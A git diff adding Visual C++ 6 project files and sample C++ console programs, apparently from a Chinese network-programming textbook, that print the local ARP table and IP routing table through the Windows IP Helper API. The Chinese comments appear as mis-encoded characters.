+!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "GetNetworkParams - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "GetNetworkParams - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "GetNetworkParams - Win32 Release" +# Name "GetNetworkParams - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\GetNetworkParams.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.dsw" new file mode 100644 index 0000000..19e9b99 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "GetNetworkParams"=".\GetNetworkParams.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/Debug/IPArp.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/Debug/IPArp.exe" new file mode 100644 index 0000000..1e594f4 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/Debug/IPArp.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.cpp" new file mode 100644 index 0000000..29777de --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.cpp" @@ -0,0 +1,256 @@ +////////////////////////////////////////////////////////////////////// +// IPArp.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + +PMIB_IPNETTABLE MyGetIpNetTable(BOOL bOrder); +void MyFreeIpNetTable(PMIB_IPNETTABLE pIpNetTable); +PMIB_IPADDRTABLE MyGetIpAddrTable(BOOL bOrder); +void MyFreeIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable); +BOOL InterfaceIdxToInterfaceIp(PMIB_IPADDRTABLE pIpAddrTable, DWORD dwIndex, char str[]); + + +// ¸ù¾ÝIPµØÖ·±í£¬½«½Ó¿ÚË÷Òýת»¯ÎªIPµØÖ· +// pIpAddrTableÊÇIPµØÖ·±í +// dwIndexÊǽӿÚË÷Òý +// º¯ÊýÖ´Ðгɹ¦Ö®ºó£¬str½«°üº¬½Ó¿ÚµÄIPµØÖ· +BOOL InterfaceIdxToInterfaceIp(PMIB_IPADDRTABLE pIpAddrTable, DWORD dwIndex, char str[]) +{ + char* szIpAddr; + + if(pIpAddrTable == NULL || str == NULL) + return FALSE; + str[0] = '\0'; + // ±éÀúIPµØÖ·±í£¬²éÕÒË÷ÒýdwIndex¶ÔÓ¦µÄIPµØÖ· + for(DWORD dwIdx = 0; dwIdx < pIpAddrTable->dwNumEntries; dwIdx++) + { + if(dwIndex == pIpAddrTable->table[dwIdx].dwIndex) + { + // ÒÔ×Ö·û´®µÄÐÎʽ·µ»Ø²éѯ½á¹û + szIpAddr = inet_ntoa(*((in_addr*)&pIpAddrTable->table[dwIdx].dwAddr)); + if(szIpAddr) + { + strcpy(str, szIpAddr); + return TRUE; + } + else + return FALSE; + } + } + return FALSE; +} + +//---------------------------------------------------------------------------- +// ARP±í½«ÒÔÈçϸñʽ´òÓ¡³öÀ´£º +// Interface: 157.61.239.34 on Interface 2 +// Internet Address Physical Address Type +// 159.61.230.39 00-aa-00-61-5d-a4 dynamic +// +// Interface: 157.54.178.219 on Interface 3 +// Internet Address Physical Address Type +// 159.54.170.1 00-10-54-42-c0-88 dynamic +// 159.54.170.113 00-aa-00-c0-80-2e dynamic +//---------------------------------------------------------------------------- + +int main() +{ + DWORD i, dwCurrIndex; + char szPrintablePhysAddr[256]; + char szType[128]; + char szIpAddr[128]; + + // Ê×ÏÈ»ñÈ¡ARP±í + PMIB_IPNETTABLE pIpNetTable = MyGetIpNetTable(TRUE); + if (pIpNetTable == NULL) + { + printf( "pIpNetTable == NULL in line %d\n", __LINE__); + return -1; + } + + // »ñÈ¡IPµØÖ·±í£¬ÒÔ±ã¸ù¾ÝËü½«ARP±íÏîÖеĽӿÚË÷Òýת»¯ÎªIPµØÖ· + PMIB_IPADDRTABLE pIpAddrTable = MyGetIpAddrTable(TRUE); + + // µ±Ç°µÄÊÊÅäÆ÷Ë÷Òý¡£×¢Ò⣬ARP±íÓ¦¸Ã°´ÕÕ½Ó¿ÚË÷ÒýÅÅÐò + dwCurrIndex = pIpNetTable->table[0].dwIndex; + if(InterfaceIdxToInterfaceIp(pIpAddrTable, dwCurrIndex, szIpAddr)) + { + printf("\nInterface: %s on Interface 0x%X\n", szIpAddr, dwCurrIndex); + printf(" Internet Address Physical Address Type\n"); + } + else + { + printf("Error: Could not convert Interface number 0x%X to IP address.\n", + pIpNetTable->table[0].dwIndex); + return -1; + } + + // ´òÓ¡³öË÷ÒýΪdwCurrIndexµÄÊÊÅäÆ÷ÉϵÄARP±íÏî + for(i = 0; i < pIpNetTable->dwNumEntries; ++i) + { + // ²»ÏàµÈÔò˵Ã÷Òª´òÓ¡ÏÂÒ»¸öÊÊÅäÆ÷ÉϵÄARP±íÏîÁË + if(pIpNetTable->table[i].dwIndex != dwCurrIndex) + { + dwCurrIndex = pIpNetTable->table[i].dwIndex; + if (InterfaceIdxToInterfaceIp(pIpAddrTable, dwCurrIndex, szIpAddr)) + { + printf("Interface: %s on Interface 0x%X\n", szIpAddr, dwCurrIndex); + printf(" Internet Address Physical Address Type\n"); + } + else + { + printf("Error: Could not convert Interface number 0x%X to IP address.\n", + pIpNetTable->table[0].dwIndex); + return -1; + } + } + + // ´òÓ¡³ö´ËARP±íÏîÖеÄÊý¾Ý + // MACµØÖ· + u_char *p = pIpNetTable->table[i].bPhysAddr; + wsprintf(szPrintablePhysAddr, "%02X-%02X-%02X-%02X-%02X-%02X", p[0], p[1], p[2], p[3], p[4], p[5]); + // IPµØÖ· + struct in_addr inadTmp; + inadTmp.s_addr = pIpNetTable->table[i].dwAddr; + // ÀàÐÍ + switch (pIpNetTable->table[i].dwType) + { + case 1: + strcpy(szType,"other"); + break; + case 2: + strcpy(szType,"invalidated"); + break; + case 3: + strcpy(szType,"dynamic"); + break; + case 4: + strcpy(szType,"static"); + break; + default: + strcpy(szType,"invalidType"); + } + printf(" %-16s %-17s %-11s\n", inet_ntoa(inadTmp), szPrintablePhysAddr, szType); + + } + return 0; +} + +// »ñÈ¡IPµØÖ·µ½ÊÊÅäÆ÷µÄÓ³Éä¹Øϵ£¬¼´ARP±í + +PMIB_IPNETTABLE MyGetIpNetTable(BOOL bOrder) +{ + PMIB_IPNETTABLE pIpNetTable = NULL; + DWORD dwActualSize = 0; + + // ²éѯËùÐ軺³åÇøµÄ´óС + if(::GetIpNetTable(pIpNetTable, + &dwActualSize, bOrder) == ERROR_INSUFFICIENT_BUFFER) + { + // ΪMIB_IPNETTABLE½á¹¹ÉêÇëÄÚ´æ + pIpNetTable = (PMIB_IPNETTABLE)::GlobalAlloc(GPTR, dwActualSize); + // »ñÈ¡ARP±í + if(::GetIpNetTable(pIpNetTable, + &dwActualSize, bOrder) == NO_ERROR) + { + return pIpNetTable; + } + ::GlobalFree(pIpNetTable); + } + return NULL; +} + +void MyFreeIpNetTable(PMIB_IPNETTABLE pIpNetTable) +{ + if(pIpNetTable != NULL) + ::GlobalFree(pIpNetTable); +} + + +PMIB_IPADDRTABLE MyGetIpAddrTable(BOOL bOrder) +{ + PMIB_IPADDRTABLE pIpAddrTable = NULL; + DWORD dwActualSize = 0; + + // ²éѯËùÐ軺³åÇøµÄ´óС + if(::GetIpAddrTable(pIpAddrTable, + &dwActualSize, bOrder) == ERROR_INSUFFICIENT_BUFFER) + { + // ΪMIB_IPADDRTABLE½á¹¹ÉêÇëÄÚ´æ + pIpAddrTable = (PMIB_IPADDRTABLE)::GlobalAlloc(GPTR, dwActualSize); + // »ñÈ¡IPµØÖ·±í + if(::GetIpAddrTable(pIpAddrTable, + &dwActualSize, bOrder) == NO_ERROR) + return pIpAddrTable; + ::GlobalFree(pIpAddrTable); + } + return NULL; +} + +void MyFreeIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable) +{ + if(pIpAddrTable != NULL) + ::GlobalFree(pIpAddrTable); +} + + + + + + + + + + + +/* + + + + + + + +void PrintIpAddrTable() +{ + DWORD i; + struct in_addr inadTmp1; + struct in_addr inadTmp2; + char szAddr[128]; + char szMask[128]; + + PMIB_IPADDRTABLE pIpAddrTable = MyGetIpAddrTable(TRUE); + + if (pIpAddrTable == NULL) + { + printf( "pIpAddrTable == NULL in line %d\n", __LINE__); + return; + } + printf("ipAdEntAddr\t ifAdEntIfIndex\t ipAdEntNetMask\t ipAdEntBcastAddr\t ipAdEntReasmMaxSize\n"); + for (i = 0; i < pIpAddrTable->dwNumEntries; ++i) + { + inadTmp1.s_addr = pIpAddrTable->table[i].dwAddr; + strcpy(szAddr, inet_ntoa(inadTmp1)); + inadTmp2.s_addr = pIpAddrTable->table[i].dwMask; + strcpy(szMask, inet_ntoa(inadTmp2)); + printf(" %s\t 0x%X\t %s\t %s\t %u\n", + szAddr, + pIpAddrTable->table[i].dwIndex, + szMask, + (pIpAddrTable->table[i].dwBCastAddr ? "255.255.255.255" : "0.0.0.0"), + pIpAddrTable->table[i].dwReasmSize); + + } + + MyFreeIpAddrTable(pIpAddrTable); +} + + + + */ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.dsp" new file mode 100644 index 0000000..c2a54ff --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="IPArp" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=IPArp - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "IPArp.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "IPArp.mak" CFG="IPArp - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "IPArp - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "IPArp - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "IPArp - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "IPArp - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "IPArp - Win32 Release" +# Name "IPArp - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\IPArp.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.dsw" new file mode 100644 index 0000000..8b8b688 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/IPArp.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "IPArp"=".\IPArp.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPArp/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/Debug/IPRoute.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/Debug/IPRoute.exe" new file mode 100644 index 0000000..e973c50 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/Debug/IPRoute.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.cpp" new file mode 100644 index 0000000..9494a0b --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.cpp" @@ -0,0 +1,91 @@ +////////////////////////////////////////////////////////////////////// +// IPRoute.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + +PMIB_IPFORWARDTABLE MyGetIpForwardTable(BOOL bOrder); +void MyFreeIpForwardTable(PMIB_IPFORWARDTABLE pIpRouteTab); +void PrintIpForwardTable(); + + + +int main() +{ + PrintIpForwardTable(); + + return 0; +} + +void PrintIpForwardTable() +{ + PMIB_IPFORWARDTABLE pIpRouteTable = MyGetIpForwardTable(TRUE); + if(pIpRouteTable != NULL) + { + DWORD i, dwCurrIndex; + struct in_addr inadDest; + struct in_addr inadMask; + struct in_addr inadGateway; + PMIB_IPADDRTABLE pIpAddrTable = NULL; + + char szDestIp[128]; + char szMaskIp[128]; + char szGatewayIp[128]; + + printf("Active Routes:\n\n"); + + printf(" Network Address Netmask Gateway Address Interface Metric\n"); + for (i = 0; i < pIpRouteTable->dwNumEntries; i++) + { + dwCurrIndex = pIpRouteTable->table[i].dwForwardIfIndex; + + // Ä¿µÄµØÖ· + inadDest.s_addr = pIpRouteTable->table[i].dwForwardDest; + // ×ÓÍøÑÚÂë + inadMask.s_addr = pIpRouteTable->table[i].dwForwardMask; + // Íø¹ØµØÖ· + inadGateway.s_addr = pIpRouteTable->table[i].dwForwardNextHop; + + strcpy(szDestIp, inet_ntoa(inadDest)); + strcpy(szMaskIp, inet_ntoa(inadMask)); + strcpy(szGatewayIp, inet_ntoa(inadGateway)); + printf(" %15s %16s %16s %16d %7d\n", + szDestIp, + szMaskIp, + szGatewayIp, + pIpRouteTable->table[i].dwForwardIfIndex, // ¿ÉÒÔÔڴ˵÷ÓÃGetIpAddrTable»ñÈ¡Ë÷Òý¶ÔÓ¦µÄIPµØÖ· + pIpRouteTable->table[i].dwForwardMetric1); + } + MyFreeIpForwardTable(pIpRouteTable); + } +} + +PMIB_IPFORWARDTABLE MyGetIpForwardTable(BOOL bOrder) +{ + PMIB_IPFORWARDTABLE pIpRouteTab = NULL; + DWORD dwActualSize = 0; + + // ²éѯËùÐ軺³åÇøµÄ´óС + if(::GetIpForwardTable(pIpRouteTab, &dwActualSize, bOrder) == ERROR_INSUFFICIENT_BUFFER) + { + // ΪMIB_IPFORWARDTABLE½á¹¹ÉêÇëÄÚ´æ + pIpRouteTab = (PMIB_IPFORWARDTABLE)::GlobalAlloc(GPTR, dwActualSize); + // »ñȡ·Óɱí + if(::GetIpForwardTable(pIpRouteTab, &dwActualSize, bOrder) == NO_ERROR) + return pIpRouteTab; + ::GlobalFree(pIpRouteTab); + } + return NULL; +} + +void MyFreeIpForwardTable(PMIB_IPFORWARDTABLE pIpRouteTab) +{ + if(pIpRouteTab != NULL) + ::GlobalFree(pIpRouteTab); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.dsp" new file mode 100644 index 0000000..dba6a1c --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/IPRoute/IPRoute.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="IPRoute" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=IPRoute - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "IPRoute.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "IPRoute.mak" CFG="IPRoute - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "IPRoute - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "IPRoute - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "IPRoute - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "IPRoute - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "IPRoute - Win32 Release" +# Name "IPRoute - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\IPRoute.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP 